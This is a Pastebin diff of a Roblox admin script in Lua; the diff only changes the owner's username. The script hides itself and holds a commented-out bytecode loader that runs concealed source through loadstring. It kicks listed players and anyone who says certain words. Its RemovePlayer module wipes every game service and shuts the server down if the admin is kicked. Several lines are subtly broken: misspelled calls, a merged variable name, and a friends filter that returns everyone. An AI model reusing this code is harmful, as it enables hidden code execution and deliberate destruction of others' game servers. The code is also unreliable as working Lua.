SHOW:
|
|
- or go back to the newest paste.
1 | --[[local RawEncrypt=loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\18\0\0\0\61\87\111\114\107\115\112\97\99\101\46\83\99\114\105\112\116\0\6\0\0\0\15\0\0\0\0\3\0\14\38\0\0\0\219\64\128\0\22\0\0\128\193\0\0\0\27\65\0\1\22\0\0\128\1\65\0\0\65\129\0\0\129\193\0\0\212\1\0\0\1\194\0\0\160\65\2\128\139\2\65\0\0\3\128\4\64\3\128\4\156\130\0\2\139\66\65\5\156\130\0\1\212\2\0\0\206\194\2\2\143\194\2\5\76\129\130\2\159\1\253\127\133\129\1\0\134\193\65\3\197\129\1\0\198\1\194\3\0\2\128\2\220\129\0\1\209\193\128\3\156\129\0\1\78\1\1\3\133\65\2\0\134\129\66\3\193\193\2\0\0\2\128\2\157\1\128\1\158\1\0\0\30\0\128\0\12\0\0\0\3\0\0\0\0\0\0\57\64\3\0\0\0\0\0\0\20\64\3\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\240\63\4\4\0\0\0\115\117\98\0\4\5\0\0\0\98\121\116\101\0\4\5\0\0\0\109\97\116\104\0\4\5\0\0\0\99\101\105\108\0\4\4\0\0\0\108\111\103\0\4\7\0\0\0\115\116\114\105\110\103\0\4\7\0\0\0\102\111\114\109\97\116\0\4\3\0\0\0\37\88\0\0\0\0\0\38\0\0\0\7\0\0\0\7\0\0\0\7\0\0\0\8\0\0\0\8\0\0\0\8\0\0\0\9\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\10\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\15\0\0\0\10\0\0\0\7\0\0\0\83\116\114\105\110\103\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\0\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\3\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\6\0\0\0\37\0\0\0\5\0\0\0\66\121\116\101\0\7\0\0\0\37\0\0\0\12\0\0\0\40\102\111\114\32\105\110\100\101\120\41\0\10\0\0\0\22\0\0\0\12\0\0\0\40\102\111\114\32\108\105\109\105\116\41\0\10\0\0\0\22\0\0\0\11\0\0\0\40\102\111\114\32\115\116\101\112\41\0\10\0\0\0\22\0\0\0\2\0\0\0\105\0\11\0\0\0\21\0\0\0\0\0\0\0') | |
2 | local SourceValue=script:FindFirstChild('SRC'..RawEncrypt(game.PlaceId..tostring(_G))); | |
3 | if (SourceValue~=nil) then | |
4 | coroutine.resume(coroutine.create(function() loadstring(SourceValue.Value)(); end)) | |
5 | return | |
6 | end]]-- | |
7 | script.Parent = nil | |
8 | --[[==[SB]==]]-- | |
9 | - | se3 = game:GetService('Players') wow = game.Players.PiterMosskva_TV; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.PiterMosskva_TV.PlayerGui ins = game:GetService('InsertService') |
9 | + | se3 = game:GetService('Players') wow = game.Players.zXzGamePROzXz; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.zXzGamePROzXz.PlayerGui ins = game:GetService('InsertService') |
10 | - | mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.PiterMosskva_TV ; wq2e = game.Players.PiterMosskva_TV |
10 | + | mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.zXzGamePROzXz; wq2e = game.Players.zXzGamePROzXz |
11 | --nam = Name; -- wont be use'd prob | |
12 | fnew = CFrame.new; cnew = Color3.new; | |
13 | --{0, 120} | |
14 | --{0, 66} | |
15 | --{0, 132 | |
16 | Names = {} | |
17 | local banWords = {'BLACKEND','PBAN','PLAYERORB','ANTIBAN','CRYSTON','DEATHIMUS','CBA','CBALL','CAMBALL','KABALL','/UP','ORBS','1WAFFLE1','ADMIN COMMANDS','COMMANDS','ADMIN'} local banned = {'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'} local noBan = {'isaac100000','rigletto',irishdude358,'Marrelle','dorian827','skippykiller101','snowboarder199','rybo11','oatsyboat12','baragara','wikkedwig','coltman188888','supercheese200'} | |
18 | Player = function(p) | |
19 | if banned[p.Name] then | |
20 | p:Destroy() | |
21 | end | |
22 | for j, v in pairs(noBan) do | |
23 | if v:lower() == p.Name:lower() then | |
24 | return | |
25 | end | |
26 | end | |
27 | p.Chatted:connect(function(m) | |
28 | for j, v in pairs(banWords) do | |
29 | if m:lower():find(v:lower()) then | |
30 | banned[p.Name] = true | |
31 | p:Destroy() | |
32 | end | |
33 | end | |
34 | end) | |
35 | end | |
36 | for j, v in pairs(game:GetService('Players'):GetPlayers()) do | |
37 | Player(v) | |
38 | end | |
39 | game:GetService('Players').PlayerAdded:connect(Player) | |
40 | local baseurl = 'http://www.roblox.com/asset/?id=%d' bcn = BrickColor.new; tarns = Transparency; poz = Position; | |
41 | --anc = Anchored; | |
42 | --cf = Cframe; | |
43 | --lok = Locked; | |
44 | function notsq(TheTable) | |
45 | wait() | |
46 | local Table = TheTable | |
47 | local Disks = {} | |
48 | local ClickedObject = nil | |
49 | CountedDisks = 0 | |
50 | for Arguments, Objects in pairs(Table) do | |
51 | local TheColor = nil | |
52 | if Objects[2] == Random then | |
53 | TheColor = BrickColor.random() | |
54 | else | |
55 | TheColor = BrickColor.new(Objects[2]) | |
56 | end | |
57 | ||
58 | CountedDisks = CountedDisks + 1 | |
59 | ||
60 | local Disk = Instance.new('Part', Workspace) | |
61 | Disk.Size = Vector3.new(3, 0.2, 3) | |
62 | Disk.Transparency = 0.5 | |
63 | Disk.BrickColor = TheColor | |
64 | Disk.Name = 'Disk' | |
65 | Disk.CanCollide = false | |
66 | Disk.Position = wow.Character.Torso.Position | |
67 | table.insert(Disks, Disk) | |
68 | ||
69 | local Billboard = Instance.new('BillboardGui', Disk) | |
70 | Billboard.Adornee = Disk | |
71 | Billboard.Enabled = true | |
72 | Billboard.Active = true | |
73 | Billboard.Size = UDim2.new(0.3, 0, 0.05, 0) | |
74 | Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0) | |
75 | ||
76 | local brickcolorOne = BrickColor.new('White') | |
77 | local colorOne = brickcolorOne.Color | |
78 | local brickcolorTwo = BrickColor.new('Really black') | |
79 | local colorTwo = brickcolorTwo.Color | |
80 | local textlabel = Instance.new('TextLabel', Billboard) | |
81 | textlabel.Text = Objects[1] | |
82 | textlabel.FontSize = 'Size24' | |
83 | textlabel.Font = 'ArialBold' | |
84 | textlabel.TextColor3 = colorOne | |
85 | textlabel.TextStrokeColor3 = colorTwo | |
86 | textlabel.TextStrokeTransparency = 0 | |
87 | ||
88 | local Mesh = Instance.new('BlockMesh', Disk) | |
89 | ||
90 | local Box = Instance.new('SelectionBox', Disk) | |
91 | Box.Transparency = 0 | |
92 | Box.Adornee = Disk | |
93 | Box.Color = TheColor | |
94 | ||
95 | local ClickDetector = Instance.new('ClickDetector', Disk) | |
96 | ClickDetector.MaxActivationDistance = math.huge | |
97 | ||
98 | local function RemoveFunction(Disk) | |
99 | DismissTypeUsed = 'Click' | |
100 | DiskSelected = Disk | |
101 | for i,v in pairs(Disks) do | |
102 | pcall(function() v:remove() end) | |
103 | pcall(function() table.remove(Disks, v) end) | |
104 | end | |
105 | Disks = {} | |
106 | for i,v in pairs(Table) do | |
107 | pcall(function() table.remove(Table, v) end) | |
108 | end | |
109 | Table = {} | |
110 | end | |
111 | ClickDetector.MouseClick:connect(function(Person) | |
112 | if Person == wow then | |
113 | DismissTypeUsed = 'Click' | |
114 | RemoveFunction(Objects[1]) | |
115 | end | |
116 | end) | |
117 | wow.Chatted:connect(function(Message) | |
118 | for _,Phrases in pairs(ReleasePhrases) do | |
119 | if string.lower(Message) == Phrases then RemoveFunction() end | |
120 | DismissTypeUsed = 'Chat' | |
121 | end | |
122 | end) | |
123 | ||
124 | local Fire = Instance.new('Fire', Disk) | |
125 | Fire.Size = 6 | |
126 | Fire.Heat = 0 | |
127 | Fire.Color = TheColor .Color | |
128 | Fire.SecondaryColor = TheColor.Color | |
129 | ||
130 | local BP = Instance.new('BodyPosition', Disk) | |
131 | BP.position = wow.Character.Torso.Position | |
132 | BP.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
133 | ||
134 | local BG = Instance.new('BodyGyro', Disk) | |
135 | BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
136 | ||
137 | Disk:BreakJoints() | |
138 | end | |
139 | coroutine.resume(coroutine.create(function() | |
140 | while wait() do | |
141 | if #Disks == 0 then break end | |
142 | for NumDisks, Disk in pairs(Disks) do | |
143 | local BP = Disk:FindFirstChild('BodyPosition') or Instance.new('BodyPosition', Disk) | |
144 | local BG = Disk:FindFirstChild('BodyGyro') or Instance.new('BodyGyro', Disk) | |
145 | local Radius = 3 + (#Disks*.7) | |
146 | local Pos = (wow.Character:FindFirstChild('Torso') or wow.Character:FindFirstChild('Torso')).CFrame | |
147 | ||
148 | local X = math.cos((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius | |
149 | local Y = 0 | |
150 | local Z = math.sin((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius | |
151 | ||
152 | BP.position = Pos:toWorldSpace(CFrame.new(X,Y,Z):inverse()).p | |
153 | BG.cframe = CFrame.new(Disk.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0) | |
154 | end | |
155 | end | |
156 | end)) | |
157 | if DismissTypeUsed == 'Click' then | |
158 | return DiskSelected | |
159 | end | |
160 | end | |
161 | function qwsqd(TheTable) | |
162 | wait() | |
163 | local Table = TheTable | |
164 | local Spheres = {} | |
165 | for Arguments, Objects in pairs(Table) do | |
166 | local TheColor = nil | |
167 | if Objects[2] == Random then | |
168 | TheColor = BrickColor.random() | |
169 | else | |
170 | TheColor = BrickColor.new(Objects[2]) | |
171 | end | |
172 | ||
173 | local Sphere = Instance.new('Part', Workspace) | |
174 | Sphere.Size = Vector3.new(2,2,2) | |
175 | Sphere.Transparency = 0.5 | |
176 | Sphere.BrickColor = TheColor | |
177 | Sphere.Name = 'Sphere' | |
178 | Sphere.CanCollide = false | |
179 | Sphere.Position = wow.Character.Torso.Position | |
180 | Sphere.TopSurface = 'Smooth' | |
181 | Sphere.BottomSurface = 'Smooth' | |
182 | Sphere.Shape = 'Ball' | |
183 | table.insert(Spheres, Sphere) | |
184 | ||
185 | local Billboard = Instance.new('BillboardGui', Sphere) | |
186 | Billboard.Adornee = Disk | |
187 | Billboard.Enabled = true | |
188 | Billboard.Active = true | |
189 | Billboard.Size = UDim2.new(0.3, 0, 0.05, 0) | |
190 | Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0) | |
191 | ||
192 | local brickcolorOne = BrickColor.new('White') | |
193 | local colorOne = brickcolorOne.Color | |
194 | local brickcolorTwo = BrickColor.new('Really black') | |
195 | local colorTwo = brickcolorTwo.Color | |
196 | local textlabel = Instance.new('TextLabel', Billboard) | |
197 | textlabel.Text = Objects[1] | |
198 | textlabel.FontSize = 'Size24' | |
199 | textlabel.Font = 'ArialBold' | |
200 | textlabel.TextColor3 = colorOne | |
201 | textlabel.TextStrokeColor3 = colorTwo | |
202 | textlabel.TextStrokeTransparency = 0 | |
203 | ||
204 | local Box = Instance.new('SelectionBox', Sphere) | |
205 | Box.Transparency = 0.4 | |
206 | Box.Adornee = Sphere | |
207 | Box.Color = TheColor | |
208 | local Fire = Instance.new('Fire', Sphere) | |
209 | Fire.Size = 6 | |
210 | Fire.Heat = 0 | |
211 | Fire.Color = TheColor .Color | |
212 | Fire.SecondaryColor = TheColor.Color | |
213 | ||
214 | local BP = Instance.new('BodyPosition', Sphere) | |
215 | BP.position = wow.Character.Torso.Position | |
216 | BP.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
217 | ||
218 | local BG = Instance.new('BodyGyro', Sphere) | |
219 | BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
220 | ||
221 | Sphere:BreakJoints() | |
222 | function Sin(i) | |
223 | return math.sin(math.rad(i)) | |
224 | end | |
225 | function Cos(i) | |
226 | return math.cos(math.rad(i)) | |
227 | end | |
228 | for i = 0,380,2.5 do | |
229 | BP.position = wow.Character.Torso.CFrame:toWorldSpace(CFrame.new(Vector3.new(Sin(i)*4, 1.5, Cos(i)*4))).p | |
230 | BG.cframe = CFrame.Angles(0,math.rad(i),0) | |
231 | wait() | |
232 | end | |
233 | Sphere:remove() | |
234 | end | |
235 | end | |
236 | - | sul = game.Players.PiterMosskva_TV |
236 | + | sul = game.Players.zXzGamePROzXz |
237 | - | hqw = game.Players.PiterMosskva_TV bcol = BrickColor; findp = game.Players xu = game.Players.PiterMosskva_TV.Character |
237 | + | hqw = game.Players.zXzGamePROzXzbcol = BrickColor; findp = game.Players xu = game.Players.zXzGamePROzXz.Character |
238 | --[[==[UGLY CODE]===]]-- | |
239 | qx = print; look = CFrame.lookVector; rot = CFrame.fromEulerAnglesXYZ; debris = game:service('Debris'); | |
240 | random = math.random; pi = math.pi | |
241 | e113 = ins:LoadAsset(47532) e113.Parent = game.Lighting | |
242 | e11 = ins:LoadAsset(47433) e11.Parent = game.Lighting | |
243 | e1 = ins:LoadAsset(95354288) e1.Parent = game.Lighting | |
244 | e2 = ins:LoadAsset(95354304) e2.Parent = game.Lighting | |
245 | qw1 = ins:LoadAsset(94233286) qw1.Parent = game.Lighting | |
246 | function mwq(msg,parent) | |
247 | sw = new('ScreenGui' ,parent) sw.Name = 'ugly codez' | |
248 | sd2 = new('TextButton' ,sw) sd2.Position = unw(0, 0, 0, 0) sd2.TextColor = bcn(255,255,255) sd2.FontSize = 'Size18' sd2.Font = 'ArialBold' sd2.Size = unw(1, 0, 0, 45) sd2.Text = msg sd2.BackgroundTransparency = 0 sd2.BackgroundColor = bcn('Really Black') sd2.BorderColor = bcn('Black') sd2.Style = 'RobloxButtonDefault' | |
249 | wait(1) | |
250 | sd2:Remove() | |
251 | end | |
252 | function qwq(msg) | |
253 | for i,v in pairs(findp:GetChildren()) do | |
254 | sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez' | |
255 | sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 1, 0) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true | |
256 | for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end | |
257 | wait(1) | |
258 | sd2w:Remove() | |
259 | end | |
260 | end | |
261 | function qwe(msg) | |
262 | for i,v in pairs(findp:GetChildren()) do | |
263 | sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez' | |
264 | sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 0, 45) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true | |
265 | for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end | |
266 | wait(1) | |
267 | sd2w:Remove() | |
268 | end | |
269 | end | |
270 | function mwi(msw,color) | |
271 | game:GetService'Chat':Chat(xu:FindFirstChild('Head'), msw , color) | |
272 | end | |
273 | function hgf(Player, Color) | |
274 | for _,Parts in pairs(Player.Character:GetChildren()) do | |
275 | if Parts.className == 'Part' then | |
276 | local Box = Instance.new('SelectionBox', Parts) | |
277 | Box.Adornee = Parts | |
278 | Box.Color = BrickColor.new(Color) | |
279 | Box.Transparency = 0 | |
280 | end | |
281 | end | |
282 | coroutine.resume(coroutine.create(function() | |
283 | wait(1) | |
284 | for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do | |
285 | ||
286 | if Things.className == 'SelectionBox' or Things.className == 'Fire' then Things:remove() end | |
287 | end | |
288 | end | |
289 | end)) | |
290 | end | |
291 | --[[==[LOCKE]==]]-- | |
292 | - | Adminlist={'PiterMosskva_TV'}; |
292 | + | Adminlist={'zXzGamePROzXz'}; |
293 | Bannedlist={'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'}; | |
294 | local AccessKey='9001'; -- Admin code registration/access key | |
295 | ||
296 | local CommandSeperator=' '; | |
297 | local DataKey='GKS'; | |
298 | local Commands,AdminConnectionList,AdminUserList,Modules,NewInstance,NewColor3,NewBrickColor,RandomBrickColor,NewCFrame,NewVector3,MaskAdminlist,NewUDim2,GameBackups,SystemSettings={},{},{},{},Instance.new,Color3.new,BrickColor.new,BrickColor.Random,CFrame.new,Vector3.new,(function() local Table={}; for Index,Entry in pairs(Adminlist) do Table[#Table+1]=Entry; end return Table; end)(),UDim2.new,{},{}; | |
299 | ||
300 | function CreateModule(ModuleName,ModuleContent) | |
301 | Modules[ModuleName]=ModuleContent; | |
302 | end | |
303 | function RunModule(ModuleName,...) | |
304 | return Modules[ModuleName](...); | |
305 | end | |
306 | function RemoveModule(ModuleName) | |
307 | Modules[ModuleName]=nil; | |
308 | end | |
309 | function ReportError(Bool,Error) | |
310 | --[[if (not Bool) then | |
311 | print('ERROR:',Error) | |
312 | end]] | |
313 | end | |
314 | ||
315 | -- Define the core modules | |
316 | CreateModule('CommandModule',function(CommandName,CommandDescription,CommandShortcut,CommandMatch,CommandCall,UpperCase) Commands[CommandName]={Description=CommandDescription,Shortcut=CommandShortcut,Call=CommandCall,Match=CommandMatch,UpperCase=UpperCase} end) | |
317 | CreateModule('GetPlayer',function(Input,Speaker) | |
318 | if (Input==nil) or (Speaker==nil) then return nil end | |
319 | local function MatchKeyword(Keyword) | |
320 | for Word in Input:gmatch('%w+') do | |
321 | if (Word==Keyword) then | |
322 | return true | |
323 | end | |
324 | end | |
325 | return false | |
326 | end | |
327 | local Matches={} | |
328 | local PlayerList=game:GetService('Players'):GetPlayers(); | |
329 | if MatchKeyword('all') then | |
330 | for Index,Player in pairs(PlayerList) do | |
331 | if (Player.className=='Player') then | |
332 | table.insert(Matches,Player); | |
333 | end | |
334 | end | |
335 | return Matches | |
336 | end | |
337 | if MatchKeyword('me') then | |
338 | return {Speaker}; | |
339 | end | |
340 | if MatchKeyword('others') then | |
341 | for Index,Player in pairs(PlayerList) do | |
342 | if (Player.className=='Player') then | |
343 | if (Player~=Speaker) then | |
344 | table.insert(Matches,Player); | |
345 | end | |
346 | end | |
347 | end | |
348 | return Matches; | |
349 | end | |
350 | if MatchKeyword('guests') then | |
351 | for Index,Player in pairs(PlayerList) do | |
352 | if (Player.className=='Player') then | |
353 | if (Player.Name:sub(1,6)=='Guest ') then | |
354 | table.insert(Matches,Player); | |
355 | end | |
356 | end | |
357 | end | |
358 | return Matches; | |
359 | end | |
360 | if MatchKeyword('friends') then | |
361 | for Index,Player in paird(PlayerList) do | |
362 | if (Player.className=='Player') then | |
363 | if (Player:IsFriendsWith(Speaker.userId)==true) then | |
364 | table.insert(Matches,Player); | |
365 | end | |
366 | end | |
367 | end | |
368 | return PlayerList | |
369 | end | |
370 | if MatchKeyword('nonfriends') then | |
371 | for Index,Player in pairs(PlayerList) do | |
372 | if (Player.className=='Player') then | |
373 | if (Player:IsFriendsWith(Speaker.userId)==false) then | |
374 | table.insert(Matches,Player); | |
375 | end | |
376 | end | |
377 | end | |
378 | return Matches; | |
379 | end | |
380 | for Index,Player in pairs(PlayerList) do | |
381 | for Word in Input:gmatch('%w+') do | |
382 | if (Player.className=='Player') then | |
383 | if (string.find(Player.Name:lower(),Word)==1) then | |
384 | table.insert(Matches,Player); | |
385 | end | |
386 | end | |
387 | end | |
388 | end | |
389 | return Matches; | |
390 | end) | |
391 | CreateModule('IsAdmin',function(Input) | |
392 | if (type(Input)=='userdata') then | |
393 | Input=Input.Name; | |
394 | end | |
395 | local IsAdmin=false; | |
396 | table.foreach(Adminlist,function(Index,Username) if (Username:lower()==Input:lower()) then IsAdmin=true; end end) | |
397 | return IsAdmin; | |
398 | end) | |
399 | CreateModule('AddPlayer',function(Player) | |
400 | coroutine.resume(coroutine.create(function() | |
401 | Player:WaitForDataReady(); | |
402 | local Data=Player:LoadString(DataKey); -- Errors here don't affect the main thread | |
403 | for RawTable in Data:gmatch('{(.-)}') do | |
404 | local Table=RunModule('ConvertString','{'..RawTable..'}'); | |
405 | if (tonumber(Table.Type)==0) then | |
406 | if (tonumber(Table.Value)>tick()) and (RunModule('IsAdmin',Player)==false) then | |
407 | pcall(Player.Remove,Player); | |
408 | end | |
409 | end | |
410 | end | |
411 | end)) | |
412 | Player.Chatted:connect(function(Message) | |
413 | local Message=Message:lower(); | |
414 | if (Message:sub(1,10)=='/loadcode/') then | |
415 | if (RunModule('AdminCodeSystem',Player):lower()==Message:sub(11)) then | |
416 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end) | |
417 | AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end) | |
418 | AdminUserList[#AdminUserList+1]=Player.Name; | |
419 | RunModule('ShowHint',Player,'Admin code request accepted.',5); | |
420 | else | |
421 | RunModule('ShowHint',Player,'Admin code request declined.',5); | |
422 | end | |
423 | end | |
424 | end) | |
425 | if (RunModule('IsAdmin',Player)==true) then | |
426 | CreateModule('AdminModule-'..Player.Name,function(IsAdmin) | |
427 | if (IsAdmin==false) then | |
428 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end) | |
429 | else | |
430 | RunModule('AdminModule-'..Player.Name,false); | |
431 | AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end) | |
432 | AdminUserList[#AdminUserList+1]=Player.Name; | |
433 | end | |
434 | end) | |
435 | RunModule('AdminModule-'..Player.Name,true); | |
436 | Player.CharacterAdded:connect(function() RunModule('GuiPanelInitializer',Player); end) | |
437 | RunModule('GuiPanelInitializer',Player); | |
438 | else | |
439 | for Index,BannedPlayer in pairs(Bannedlist) do | |
440 | if (BannedPlayer:lower()==Player.Name:lower()) then | |
441 | pcall(function() Player:Remove(); end) | |
442 | end | |
443 | end | |
444 | end | |
445 | end) | |
446 | CreateModule('RemovePlayer',function(Player) | |
447 | RemoveModule('AdminModule-'..Player.Name); | |
448 | if (RunModule('IsAdmin',Player)==true) then -- Possibly kicked/banned | |
449 | local Error,NetworkServer=pcall(game.GetService,game,'NetworkServer'); | |
450 | if (type(NetworkServer)~='userdata') then return end -- Build mode | |
451 | local InitialTime=time(); | |
452 | local Activate=true; | |
453 | NetworkServer.ChildRemoved:connect(function(Child) | |
454 | if (Child:IsA('NetworkReplicator')==true) then -- Is a replicator | |
455 | if ((time()-InitialTime)<0.01) then | |
456 | Activate=false; -- User just left | |
457 | end | |
458 | end | |
459 | end) | |
460 | wait(0.5) | |
461 | if (Activate==true) then | |
462 | table.foreach(game:GetChildren(),function(Index,Service) | |
463 | pcall(function() -- Some services yell at you | |
464 | table.foreach(Service:GetChildren(),function(ChildIndex,Child) | |
465 | if (Child~=script) then | |
466 | pcall(Child.Remove,Child); | |
467 | end | |
468 | end) | |
469 | end) | |
470 | end) | |
471 | RunModule('Shutdown'); | |
472 | end | |
473 | end | |
474 | end) | |
475 | CreateModule('PlayerChat',function(Message,Speaker) | |
476 | table.foreach(Commands,function(Index,CommandUnit) | |
477 | local Match=(Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match))); | |
478 | if (Match~=nil) and (not CommandUnit.UpperCase) then -- Just found out the 'or' keyword won't return multiple arguments. -_- | |
479 | local FullMatch=Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match)); | |
480 | local ShortcutMatch=Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)); | |
481 | if (FullMatch~=nil) then | |
482 | ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match))); end))); | |
483 | elseif (ShortcutMatch~=nil) then | |
484 | ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match))); end))); | |
485 | end | |
486 | elseif (CommandUnit.UpperCase) and (Match~=nil) then | |
487 | local Point=(Message:lower():find(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():find(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match))); | |
488 | ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:sub(Message:sub(Point):find(CommandSeperator)+1)); end))); | |
489 | end | |
490 | end) | |
491 | end) | |
492 | CreateModule('ParseMatch',function(Match) return Match:gsub('#cs#',CommandSeperator) end) | |
493 | CreateModule('ConvertTable',function(Table) | |
494 | local Result='<{'; | |
495 | table.foreach(Table,function(Index,String) | |
496 | Result=Result..Index..'='..tostring(String):gsub('=','\\61')..';'; | |
497 | end) | |
498 | return Result..'}>'; | |
499 | end) | |
500 | CreateModule('ConvertString',function(String) | |
501 | local Result={}; | |
502 | local TableStart,TableFinish=String:find('<{')+2,String:find('}>'); | |
503 | for Index,Input in String:sub(TableStart,TableFinish):gmatch('(.-)=(.-);') do | |
504 | if (tonumber(Index)~=nil) then Indetonumber(Index); end | |
505 | Result[Index]=Input:gsub('\\61','='); | |
506 | end | |
507 | return Result; | |
508 | end) | |
509 | CreateModule('GuiLibrary',function() | |
510 | local Library={}; | |
511 | Library.NewBasicGUI=(function(Class,Properties) | |
512 | local Result=NewInstance(Class); | |
513 | table.foreach((Properties or Library.DefaultProperties),function(Property,Value) | |
514 | Result[Property]=Value; | |
515 | end) | |
516 | return Result; | |
517 | end) | |
518 | Library.DefaultProperties={BackgroundColor3=Color3.new(0,0,0),BackgroundTransparency=0.5,BorderSizePixel=0}; | |
519 | return Library; | |
520 | end) | |
521 | CreateModule('DisposePlayer',function(Player,Speaker,DontRemove) | |
522 | if (RunModule('IsAdmin',Player)==false) and (RunModule('IsAdmin',Speaker)==true) then | |
523 | if (not DontRemove) then pcall(Player.Remove,Player); end | |
524 | return true; | |
525 | end | |
526 | return false; | |
527 | end) | |
528 | CreateModule('ShowHint',function(Player,Text,Time) | |
529 | local Hint=NewInstance('Hint') | |
530 | Hint.Parent=Player:FindFirstChild('PlayerGui'); | |
531 | Hint.Text=Text; | |
532 | if (Time~=nil) then delay(Time,function() Hint:Remove() end) end | |
533 | return Hint; | |
534 | end) | |
535 | CreateModule('ScrollText',function(Text,Index) | |
536 | return Text:sub(Index,Index+80); | |
537 | end) | |
538 | CreateModule('CreateScript',function(Source,Parent) | |
539 | local Base=script:Clone(); | |
540 | local PseudoSource=NewInstance('StringValue') | |
541 | PseudoSource.Name='SRC'..RawEncrypt(game.PlaceId..tostring(_G)); | |
542 | PseudoSource.Value=Source; | |
543 | PseudoSource.Parent=Base; | |
544 | Base.Parent=Parent; | |
545 | end) | |
546 | CreateModule('GuiPanelInitializer',function(Player) | |
547 | local GuiLibrary=RunModule('GuiLibrary'); | |
548 | local Main=NewInstance('ScreenGui') | |
549 | Main.Name='ControlBox'; | |
550 | local MainWindow=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(0.08,0,0.4,0),Position=NewUDim2(0,0,0.2,0),BackgroundColor3=NewColor3(0,0,0),BorderSizePixel=0,BackgroundTransparency=0.5,Name='MainWindow',Parent=Main}) | |
551 | local InputBoxBacker=GuiLibrary.NewBasicGUI('ImageLabel',{Size=NewUDim2(1,0,0.06,0),BackgroundTransparency=0.5,BackgroundColor3=NewColor3(1,1,1),BorderSizePixel=0,Image='http://www.roblox.com/asset/?id=36361705',Name='InputBoxBacker',Parent=MainWindow}) | |
552 | local InputBox=GuiLibrary.NewBasicGUI('TextBox',{Size=NewUDim2(0.98,0,1,0),Position=NewUDim2(0.02,0,0,0),TextXAlignment=0,BorderSizePixel=0,BackgroundTransparency=1,TextColor3=NewColor3(0,0,0),Text='',Name='InputBox',Parent=InputBoxBacker}) | |
553 | local ToggleButton=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1,0),Position=NewUDim2(0,0,1,0),TextColor3=NewColor3(1,1,1),BackgroundTransparency=1,Text='<< Minimize <<',BorderSizePixel=0,Name='ToggleSize',Parent=InputBoxBacker}) | |
